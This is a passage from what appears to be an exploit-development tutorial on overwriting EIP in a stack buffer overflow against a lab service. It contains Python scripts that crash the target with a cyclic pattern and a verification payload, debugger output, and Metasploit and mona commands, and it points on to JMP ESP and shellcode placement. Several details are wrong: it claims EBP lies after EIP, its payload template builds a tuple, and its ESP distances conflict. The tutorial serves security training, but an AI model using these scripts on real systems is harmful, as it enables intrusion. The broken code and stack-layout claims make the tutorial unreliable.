"4f24f34f44f54f64f74f84f94g04g14g24g34g44g54g64g74g84g94h04h14h2"
"4h34h44h54h64h74h84h94i04i14i24i34i44i54i64i74i84i94j04j14j24j3"
"4j44j54j64j74j84j94k04k14k24k34k44k54k64k74k84k94l04l14l24l34l4"
"4l54l64l74l84l94m04m14m24m34m44m54m64m74m84m94n04n14n24n34n44n5"
"4n64n74n84n94o04o14o24o34o44o54o64o74o84o94p04p14p24p34p44p54p6"
"4p74p84p94q04q14q24q34q44q54q64q74q84q94r04r14r24r34r44r54r64r7"
"4r84r94s04s14s24s34s44s54s64s74s84s94t04t14t24t34t44t54t64t74t8"
"4t94u04u14u24u34u44u54u64u74u84u94v04v14v24v34v44v54v64v74v84v9"
"4w04w14w24w34w44w54w64w74w84w94x04x14x24x34x44x54x64x74x84x94y0"
"4y14y24y34y44y54y64y74y84y94z04z14z24z34z44z54z64z74z84z95a05a1"
"5a25a35a45a55a65a75a85a95b05b15b25b35b45b55b65b75b85b95c05c15c2"
"5c35c45c55c65c75c85c95d05d15d25d35d45d55d65d75d85d95e05e15e25e3"
"5e45e55e65e75e85e95f05f15f25f35f45f55f65f75f85f95g05g15g25g35g4"
"5g55g65g75g85g95h05h15h25h35h45h55h65h75h85h95i05i15i25i35i45i5"
"5i65i75i85i95j05j15j25j35j45j55j65j75j85j95k05k15k25k35k45k55k6"
"5k75k85k95l05l15l25l35l45l55l65l75l85l95m05m15m25m35m45m55m65m7"
"5m85m95n05n15n25n35n45n55n65n75n85n95o05o15o25o35o45o55o65o75o8"
"5o95p05p15p25p35p45p55p65p75p85p95q05q15q25q35q45q55q65q75q85q9"
"5r05r15r25r35r45r55r65r75r85r95s05s15s25s35s45s55s65s75s85s95t0"
"5t15t25t35t45t55t65t75t85t95u05u15u25u35u45u55u65u75u85u95v05v1"
"5v25v35v45v55v65v75v85v95w05w15w25w35w45w55w65w75w85w95x05x15x2"
"5x35x45x55x65x75x85x95y05y15y25y35y45y55y65y75y85y95z05z15z25z3"
"5z45z55z65z75z85z96a06a16a26a36a46a56a66a76a86a96b06b16b26b36b4"
"6b56b66b76b86b96c06c16c26c36c46c56c66c76c86c96d06d16d26d36d46d5"
"6d66d76d86d96e06e16e26e36e46e56e66e76e86e96f06f16f26f36f46f56f6"
"6f76f86f96g06g16g26g36g46g56g66g76g86g96h06h16h26h36h46h56h66h7"
"6h86h96i06i16i26i36i46i56i66i76i86i96j06j16j26j36j46j56j66j76j8"
"6j96k06k16k26k36k46k56k66k76k86k96l06l16l26l36l46l56l66l76l86l9"
"6m06m16m26m36m46m56m66m76m86m96n06n16n26n36n46n56n66n76n86n96o0"
"6o16o26o36o46o56o66o76o86o96p06p16p26p36p46p56p66p76p86p96q06q1"
"6q26q36q46q56q66q76q86q96r06r16r26r36r46r56r66r76r86r96s06s16s2"
"6s36s46s56s66s76s86s96t06t16t26t36t46t56t66t76t86t96u06u16u26u3"
"6u46u56u66u76u86u96v06v16v26v36v46v56v66v76v86v96w06w16w26w36w4"
"6w56w66w76w86w96x06x16x26x36x46x56x66x76x86x96y06y16y26y36y46y5"
"6y66y76y86y96z06z16z26z36z46z56z66z76z86z97a07a17a27a37a47a57a6"
"7a77a87a97b07b17b27b37b47b57b67b77b87b97c07c17c27c37c47c57c67c7"
"7c87c97d07d17d27d37d47d57d67d77d87d97e07e17e27e37e47e57e67e77e8"
"7e97f07f17f27f37f47f57f67f77f87f97g07g17g27g37g47g57g67g77g87g9"
"7h07h17h27h37h47h57h67h77h87h97i07i17i27i37i47i57i67i77i87i97j0"
"7j17j27j37j47j57j67j77j87j97k07k17k27k37k47k57k67k77k87k97l07l1"
"7l27l37l47l57l67l77l87l97m07m17m27m37m47m57m67m77m87m97n07n17n2"
"7n37n47n57n67n77n87n97o07o17o27o37o47o57o67o77o87o97p07p17p27p3"
"7p47p57p67p77p87p97q07q17q27q37q47q57q67q77q87q97r07r17r27r37r4"
"7r57r67r77r87r97s07s17s27s37s47s57s67s77s87s97t07t17t27t37t47t5"
"7t67t77t87t97u07u17u27u37u47u57u67u77u87u97v07v17v27v37v47v57v6"
"7v77v87v97w07w17w27w37w47w57w67w77w87w97x07x17x27x37x47x57x67x7"
"7x87x97y07y17y27y37y47y57y67y77y87y97z07z17z27z37z47z57z67z77z8"
"7z98a08a18a28a38a48a58a68a78a88a98b08b18b28b38b48b58b68b78b88b9"
"8c08c18c28c38c48c58c68c78c88c98d08d18d28d38d48d58d68d78d88d98e0"
"8e18e28e38e48e58e68e78e88e98f08f18f28f38f48f58f68f78f88f98g08g1"
"8g28g38g48g58g68g78g88g98h08h18h28h38h48h58h68h78h88h98i08i18i2"
"8i38i48i58i68i78i88i98j08j18j28j38j48j58j68j78j88j98k08k18k28k3"
"8k48k58k68k78k88k98l08l18l28l38l48l58l68l78l88l98m08m18m28m38m4"
"8m58m68m78m88m98n08n18n28n38n48n58n68n78n88n98o08o18o28o38o48o5"
"8o68o78o88o98p08p18p28p38p48p58p68p78p88p98q08q18q28q38q48q58q6"
"8q78q88q98r08r18r28r38r48r58r68r78r88r98s08s18s28s38s48s58s68s7"
"8s88s98t08t18t28t38t48t58t68t78t88t98u08u18u28u38u48u58u68u78u8"
"8u98v08v18v28v38v48v58v68v78v88v98w08w18w28w38w48w58w68w78w88w9"
"8x08x18x28x38x48x58x68x78x88x98y08y18y28y38y48y58y68y78y88y98z0"
"8z18z28z38z48z58z68z78z88z99a09a19a29a39a49a59a69a79a89a99b09b1"
"9b29b39b49b59b69b79b89b99c09c19c29c39c49c59c69c79c89c99d09d19d2"
"9d39d49d59d69d79d89d99e09e19e29e39e49e59e69e79e89e99f09f19f29f3"
"9f49f59f69f79f89f99g09g19g29g39g49g59g69g79g89g99h09h19h29h39h4"
"9h59h69h79h89h99i09i19i29i39i49i59i69i79i89i99j09j19j29j39j49j5"
"9j69j79j89j99k09k19k29k39k49k59k69k79k89k99l09l19l29l39l49l59l6"
"9l79l89l99m09m19m29m39m49m59m69m79m89m99n09n19n29n39n49n59n69n7"
"9n89n99o09o19o29o39o49o59o69o79o89o99p09p19p29p39p49p59p69p79p8"
"9p99q09q19q29q39q49q59q69q79q89q99r09r19r29r39r49r59r69r79r89r9"
"9s09s19s29s39s49s59s69s79s89s99t09t19t29t39t49t59t69t79t89t99u0"
"9u19u29u39u49u59u69u79u89u99v09v19v29v39v49v59v69v79v89v99w09w1"
"9w29w39w49w59w69w79w89w99x09x19x29x39x49x59x69x79x89x99y09y19y2"
"9y39y49y59y69y79y89y99z09z19z29z39z49z59z69z79z89z9"
)
# Send the pattern
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.recv(1024)
payload = b'RTSP/1.1\r\n' + pattern.encode()
s.send(payload)
s.close()
print('Pattern sent! Check debugger for EIP value.')
Phase 4: Capture EIP in Debugger
Target crashes under x32dbg.
Register state at crash:
EAX: 00000000
EBX: 00000000
ECX: 00000003
EDX: 7FFD0000
ESI: 00000000
EDI: 00000000
EBP: 37694536 ← Contains pattern data
ESP: 0012FF20
EIP: 38694539 ← Contains pattern data!
EIP value: 38694539
Phase 5: Calculate Offset
msf-pattern_offset -q 38694539
# Output:
# [*] Exact match at offset 2003
Result: EIP is overwritten at byte offset 2003.
Phase 6: Verify with AAAA/BBBB/CCCC
#!/usr/bin/env python
# vulnserver_verify.py
import socket
target = '192.168.1.100'
port = 9999
offset = 2003
payload = (
b'A' * offset # 2003 bytes → fills buffer to EIP
+ b'BBBB' # 4 bytes → should overwrite EIP
+ b'CCCC' # 4 bytes → should overwrite EBP
+ b'D' * 500 # 500 bytes → stack data (ESP area)
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.recv(1024)
exploit = b'RTSP/1.1\r\n' + payload
s.send(exploit)
s.close()
print('Verification payload sent!')
Phase 7: Confirm Results
Target crashes under x32dbg.
Register state at crash:
EIP: 42424242 ← BBBB ✅ Offset confirmed!
EBP: 43434343 ← CCCC ✅ 4 bytes after EIP
ESP: 0012FF00 → Points to DDDD... data ✅
Stack at ESP:
0012FF00 44 44 44 44 DDDD
0012FF04 44 44 44 44 DDDD
0012FF08 44 44 44 44 DDDD
...
CONCLUSION:
✅ Offset 2003 is CONFIRMED
✅ EIP is fully controllable (4 bytes)
✅ EBP follows at offset 2007
✅ ESP is ~256 bytes after EIP (good for shellcode placement)
NEXT STEPS:
1. Find a JMP ESP or CALL ESP instruction
2. Encode the address in little-endian
3. Replace BBBB with the JMP address
4. Place NOP sled + shellcode in the DDDD area
Phase 8: Summary Table
| Step | Action | Tool | Result |
|---|---|---|---|
| 1 | Fuzz to find crash range | Custom fuzzer | Crash at ~2000 bytes |
| 2 | Generate cyclic pattern | pattern_create -l 2500 |
2500-byte unique pattern |
| 3 | Crash with pattern | Exploit script | EIP = 38694539 |
| 4 | Calculate offset | pattern_offset -q 38694539 |
Offset = 2003 |
| 5 | Verify offset | AAAA/BBBB/CCCC test | EIP=42424242, EBP=43434343 |
| 6 | Confirm ESP distance | Debugger stack view | ESP ~256 bytes after EIP |
11. Quick Reference Cheat Sheet
Command Quick Reference
# === Metasploit Pattern Tools ===
# Generate pattern
msf-pattern_create -l <length>
msf-pattern_create -l <length> -o <output_file>
# Calculate offset from EIP value
msf-pattern_offset -q <eip_hex_value>
msf-pattern_offset -q <eip_hex_value> -l <pattern_length>
# === Mona.py Commands (in Immunity Debugger) ===
# Generate pattern
!mona pc -l <length> [-o <output_file>]
# Calculate offset (auto-detects EIP)
!mona po
# Calculate offset for specific value
!mona po <hex_value>
# Calculate offset for specific register
!mona po -r <register>
# Quick spray distance analysis
!mona findmsp
# === Verification Payload Template ===
payload = (
b'A' * offset, # Offset bytes
b'BBBB', # EIP override (4 bytes)
b'CCCC', # EBP override (4 bytes)
b'D' * remaining, # Stack data
)
Expected Register Values After Verification
| If Offset Is | EIP Shows | EBP Shows | Action |
|---|---|---|---|
| Correct | 42424242 (BBBB) |
43434343 (CCCC) |
✅ Proceed |
| Too Large | 41414141 (AAAA) |
41414141 (AAAA) |
Reduce offset |
| Too Small | 44444444 (DDDD) |
44444444 (DDDD) |
Increase offset |
| Off by 1 | 41424242 (ABBB) |
42424243 (BBBC) |
Adjust by ±1 |
| Off by 2 | 41414242 (AABB) |
42424343 (BBCC) |
Adjust by ±2 |
| Off by 3 | 41414142 (AAAB) |
42434343 (BCCC) |
Adjust by ±3 |
Decision Tree
flowchart TD
A[Start: Application Crashes] --> B[Generate cyclic pattern]
B --> C[Crash target with pattern]
C --> D[Read EIP value from debugger]
D --> E[Calculate offset]
E --> F{Pattern match found?}
F -->|No| G[Check: endianness, pattern length, correct EIP]
G --> C
F -->|Yes| H[Build AAAA/BBBB/CCCC payload]
H --> I[Crash target with verification payload]
I --> J{EIP = 42424242?}
J -->|No| K[Adjust offset and retry]
K --> H
J -->|Yes| L{EBP = 43434343?}
L -->|No| M[Offset off by 1-3 bytes]
M --> K
L -->|Yes| N[✅ Offset CONFIRMED]
N --> O[Proceed to find JMP/CALL address]
Key Takeaways
- Always verify —
pattern_offsetgives you a number; the AAAA/BBBB test proves it works - Pattern length matters — too short and you miss EIP; too long and you get duplicates
- Endianness is handled — the tools convert automatically; don’t manually reverse
- Offset is 0-indexed —
b'A' * 1024means bytes 0-1023 are ‘A’, byte 1024 starts the override - EBP should be 4 bytes after EIP — this validates your stack layout understanding
- ESP distance guides shellcode placement — use
findmspor manual inspection to plan payload layout
Next Topic: With the offset confirmed, the next phase is finding a reliable JMP/CALL instruction to redirect execution flow. See Topic 7: “Finding the Right JMP/CALL Address.”